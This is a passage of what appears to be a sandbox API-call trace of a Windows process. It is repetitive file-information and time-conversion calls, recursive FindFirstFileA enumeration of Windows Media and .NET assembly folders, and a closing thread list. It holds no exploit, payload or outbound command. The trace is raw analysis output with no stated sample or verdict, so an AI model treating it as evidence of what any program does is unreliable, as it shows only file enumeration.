(hObject=0x178) returned 1 [0260.899] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.899] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.899] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.899] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.899] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.899] CloseHandle (hObject=0x178) returned 1 [0260.900] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.900] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.900] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.900] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.900] CloseHandle (hObject=0x178) returned 1 [0260.901] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.901] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.901] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.901] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.901] CloseHandle (hObject=0x178) returned 1 [0260.902] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.902] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.902] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.902] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.903] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.903] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.903] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.903] CloseHandle (hObject=0x178) returned 1 [0260.903] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.903] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.903] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.903] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.904] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.904] CloseHandle (hObject=0x178) returned 1 [0260.904] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.904] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.904] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.905] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.905] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.905] CloseHandle (hObject=0x178) returned 1 [0260.910] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Delta\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18dfe060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18dfe060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0260.910] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.911] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.911] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.911] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.911] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.911] CloseHandle (hObject=0x178) returned 1 [0260.912] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.923] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Festival\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e241c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18e241c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0260.935] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Garden\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e241c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18e241c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.947] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Heritage\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x18e4a320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18e4a320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Landscape\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e70480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18e70480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.973] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Quirky\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e965e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18e965e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0260.984] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Raga\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18ebc740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18ebc740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.997] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Savanna\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18ebc740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18ebc740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0261.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Sonata\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18f08a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18f08a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0261.053] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18f54cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18f54cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0261.056] GetFileType (hFile=0x1f0) returned 0x1 [0261.063] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18f7ae20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18f7ae20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0261.069] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18f7ae20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18f7ae20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0261.070] GetFileType (hFile=0x1ac) returned 0x1 [0261.075] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18f7ae20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18f7ae20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0261.077] GetFileType (hFile=0x190) returned 0x1 [0261.083] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18fa0f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18fa0f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0261.084] GetFileType (hFile=0x1ac) returned 0x1 [0261.095] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18fc70e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18fc70e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0261.098] GetFileType (hFile=0x190) returned 0x1 [0261.116] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\ISymWrapper\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18fc70e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18fc70e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0261.131] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Microsoft.NET\\assembly\\GAC_32\\Microsoft.Transactions.Bridge.Dtc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x190133a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x190133a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 Thread: id = 2 os_tid = 0x92c Thread: id = 3 os_tid = 0x930 Thread: id = 4 os_tid = 0x944 Thread: id = 5 os_tid = 0xa14 Thread: id = 6 os_tid = 0xa18